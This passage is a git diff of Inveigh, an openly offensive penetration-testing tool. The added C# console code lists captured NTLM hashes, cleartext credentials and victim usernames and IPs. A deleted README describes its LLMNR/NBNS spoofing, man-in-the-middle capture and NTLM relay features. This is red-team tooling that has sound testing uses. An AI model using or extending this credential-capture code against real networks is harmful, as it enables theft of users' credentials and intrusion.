+ public static void GreenBar()
+ {
+ Console.ForegroundColor = Program.colorPositive;
+ Console.Write("|");
+ Console.ResetColor();
+ }
+
+ public static void GetHelp()
+ {
+ IList<string> commands = new List<string>();
+ string description = "Inveigh Console Commands";
+ string[] headings = new string[] { "Command", "Description" };
+ commands.Add("GET CONSOLE,get queued console output");
+ commands.Add("GET DHCPv6Leases,get DHCPv6 assigned IPv6 addresses");
+ commands.Add("GET LOG,get log entries; add search string to filter results");
+ commands.Add("GET NTLMV1,get captured NTLMv1 hashes; add search string to filter results");
+ commands.Add("GET NTLMV2,get captured NTLMv2 hashes; add search string to filter results");
+ commands.Add("GET NTLMV1UNIQUE,get one captured NTLMv1 hash per user; add search string to filter results");
+ commands.Add("GET NTLMV2UNIQUE,get one captured NTLMv2 hash per user; add search string to filter results");
+ commands.Add("GET NTLMV1USERNAMES,get usernames and source IPs/hostnames for captured NTLMv1 hashes");
+ commands.Add("GET NTLMV2USERNAMES,get usernames and source IPs/hostnames for captured NTLMv2 hashes");
+ commands.Add("GET CLEARTEXT,get captured cleartext credentials");
+ commands.Add("GET CLEARTEXTUNIQUE,get unique captured cleartext credentials");
+ commands.Add("HISTORY,get console command history");
+ commands.Add("RESUME,resume real time console output");
+ commands.Add("STOP,stop Inveigh");
+ Output.OutputCommand(description, headings, commands, Program.colorPositive);
+ }
+
+ public static IList<string> GetUnique(IList<string> list, bool isNTLM)
+ {
+ IList<string> unique = new List<string>();
+ string[] outputUnique = list.ToArray();
+ Array.Sort(outputUnique);
+ string uniqueLast = "";
+
+ foreach (string entry in outputUnique)
+ {
+ string item = entry;
+
+ if (isNTLM)
+ {
+ item = entry.Substring(0, entry.IndexOf(":", (entry.IndexOf(":") + 2)));
+ }
+
+ if (!string.Equals(item, uniqueLast))
+ {
+ unique.Add(item);
+ }
+
+ uniqueLast = item;
+ }
+
+ return unique;
+ }
+
+ public static IList<string> GetUniqueNTLM(IList<string> hashList, IList<string> usernameList)
+ {
+ IList<string> unique = new List<string>();
+ IList<string> uniqueCombined = new List<string>();
+
+ foreach (string entry in usernameList)
+ {
+ string[] split = entry.Split(',');
+ string challenge = ":" + split[3];
+ unique = GetResults(challenge, hashList);
+
+ if (unique.Count > 0)
+ {
+ uniqueCombined.Add(unique[0]);
+ }
+
+ }
+
+ return uniqueCombined;
+ }
+
+ public static IList<string> GetResults(string search, IList<string> list)
+ {
+ return list.Where(element => CultureInfo.CurrentCulture.CompareInfo.IndexOf(element, search, CompareOptions.IgnoreCase) >= 0).ToList();
+ }
+
+ public static void GetCleartext(string search)
+ {
+ string description = "Cleartext Credentials";
+ string[] headers = new string[] { "IP Address", "Credentials" };
+ IList<string> list = Program.cleartextList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetCleartextUnique(string search)
+ {
+ string description = "Unique Cleartext Credentials";
+ string[] headers = new string[] { "IP Address", "Credentials" };
+ IList<string> list = GetUnique(Program.cleartextList, false);
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetDHCPv6Leases(string search)
+ {
+ string description = "DHCPv6 Leases";
+ string[] headers = new string[] { "Host", "MAC", "Lease IP" };
+ IList<string> list = Program.dhcpv6List;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetLog(string search)
+ {
+ IList<string> list = Program.logList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ list = GetResults(search, list);
+ }
+
+ foreach (string entry in list)
+ {
+ Output.ConsoleOutputFormat(entry);
+ }
+
+ }
+
+ public static void GetNTLMv1(string search)
+ {
+ string description = "NTLMv1 Hashes";
+ string[] headers = new string[] { "Hashes" };
+
+ IList<string> list = Program.ntlmv1List;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv1Unique(string search)
+ {
+ string description = "Unique NTLMv1 Hashes";
+ string[] headers = new string[] { "Hashes" };
+ IList<string> list = Program.ntlmv1UniqueList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv2(string search)
+ {
+ string description = "NTLMv2 Hashes";
+ string[] headers = new string[] { "Hashes" };
+ IList<string> list = Program.ntlmv2List;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv2Unique(string search)
+ {
+ string description = "Unique NTLMv2 Hashes";
+ string[] headers = new string[] { "Hashes" };
+ IList<string> list = Program.ntlmv2UniqueList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv1Usernames(string search)
+ {
+ string description = "NTLMv1 Usernames";
+ string[] headers = new string[] { "IP Address", "Host", "Username" };
+ IList<string> list = Program.ntlmv1UsernameList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv2Usernames(string search)
+ {
+ string description = "NTLMv2 Usernames";
+ string[] headers = new string[] { "IP Address", "Host", "Username", "Challenge" };
+ IList<string> list = Program.ntlmv2UsernameList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetSpooferReplyLists()
+ {
+
+ if (Program.ntlmv2UsernameList.Count > 0)
+ {
+ Console.WriteLine(string.Format("[+] [{0}] Current NTLMv2 IP addresses, hostnames, and usernames:", Output.Timestamp()));
+ string[] outputNTLMV2Usernames = Program.ntlmv2UsernameList.ToArray();
+ foreach (string entry in outputNTLMV2Usernames)
+ Console.WriteLine(entry);
+ }
+ else
+ {
+ Console.WriteLine(string.Format("[+] [{0}] NTLMv2 IP address, hostname, and username list is empty", Output.Timestamp()));
+ }
+
+ }
+
+ public static void GetSpooferIgnoreLists()
+ {
+
+ if (Program.ntlmv2UsernameList.Count > 0)
+ {
+ Console.WriteLine(string.Format("Current NTLMv2 IP addresses, hostnames, and usernames:", Output.Timestamp()));
+ string[] outputNTLMV2Usernames = Program.ntlmv2UsernameList.ToArray();
+ foreach (string entry in outputNTLMV2Usernames)
+ Console.WriteLine(entry);
+ }
+ else
+ {
+ Console.WriteLine(string.Format("[+] [{0}] NTLMv2 IP address, hostname, and username list is empty", Output.Timestamp()));
+ }
+
+ }
+
+ }
+}
diff --git a/LICENSE.md b/LICENSE
index 9790f29..1127b2d 100644
--- a/LICENSE.md
+++ b/LICENSE
@@ -1,8 +1,6 @@
-Inveigh is provided under the 3-clause BSD license below.
+BSD 3-Clause License
-*************************************************************
-
-Copyright (c) 2015, Kevin Robertson
+Copyright (c) 2021, Kevin Robertson
All rights reserved.
Redistribution and use in source and binary forms, with or without
@@ -15,7 +13,7 @@ modification, are permitted provided that the following conditions are met:
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
-* Neither the name of Inveigh nor the names of its
+* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
@@ -28,4 +26,4 @@ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file
diff --git a/README.md b/README.md
deleted file mode 100644
index a960d2d..0000000
--- a/README.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# **Inveigh**
-
-Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system.
-
-## 1.4 Release Blog
-* https://blog.netspi.com/inveigh-whats-new-in-version-1-4/
-
-## Wiki
-* https://github.com/Kevin-Robertson/Inveigh/wiki
-
-## Included In
-* PowerShell Empire - https://github.com/PowerShellEmpire/Empire
-* PS>Attack - https://github.com/jaredhaight/psattack
-* p0wnedShell - https://github.com/Cn33liz/p0wnedShell
-* PowerUpSQL - https://github.com/NetSPI/PowerUpSQL
-* PoshC2 - https://github.com/nettitude/PoshC2
-* pupy - https://github.com/n1nj4sec/pupy
-* Merlin - https://github.com/Ne0nd0g/merlin
-
-## Special Thanks
-* Anyone that posted .NET packet sniffing examples
-* Responder - https://github.com/lgandx/Responder
-* Impacket - https://github.com/SecureAuthCorp/impacket
-
-## Overview
-
-At its core, Inveigh is a .NET packet sniffer that listens for and responds to LLMNR/mDNS/NBNS requests while also capturing incoming NTLMv1/NTLMv2 authentication attempts over the Windows SMB service. The primary advantage of this packet sniffing method on Windows is that port conflicts with default running services are avoided. Inveigh also contains HTTP/HTTPS/Proxy listeners for capturing incoming authentication requests and performing attacks. Inveigh relies on creating multiple runspaces to load the sniffer, listeners, and control functions within a single shell and PowerShell process.
-
-##### Inveigh running with elevated privilege
-![inveigh1 4](https://user-images.githubusercontent.com/5897462/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.PNG)
-
-Since the .NET packet sniffer requires elevated privilege, Inveigh also contains UDP listener based LLMNR/mDNS/NBNS functions. These listeners can provide the ability to perform spoofing with only unprivileged access. Port conflicts can still be an issue with any running Windows listeners bound to 0.0.0.0. This generally impacts LLMNR. On a system with the Windows LLMNR service running, Inveigh’s unprivileged LLMNR spoofer will not be able to start. Inveigh can usually perform unprivileged NBNS spoofing on systems with the NBNS service already running since it’s often not bound to 0.0.0.0. Most of Inveigh’s other features, with the primary exceptions of the packet sniffer’s SMB capture and HTTPS (due to certificate install privilege requirements), do not require elevated privilege. Note that an enabled local firewall blocking all relevant ports, and without a listed service with open firewall access suitable for migration, can still prevent Inveigh from working with just unprivileged access since privileged access will likely be needed to modify the firewall settings.
-
-By default, Inveigh will attempt to detect the privilege level and load the corresponding functions.
-
-Inveigh provides NTLMv1/NTLMv2 HTTP/HTTPS/Proxy to SMB2.1 relay through the Inveigh Relay module. This module does not require elevated privilege, again with the exception of HTTPS, on the Inveigh host.
-
-##### Inveigh Relay running with all attacks enabled
-![inveigh_relay1 4](https://user-images.githubusercontent.com/5897462/45662094-72fcce80-bace-11e8-8bc5-b546eedcb241.PNG)
-
-Inveigh Relay session attack requires SMB tools from Invoke-TheHash
-
-* https://github.com/Kevin-Robertson/Invoke-TheHash
-
-
-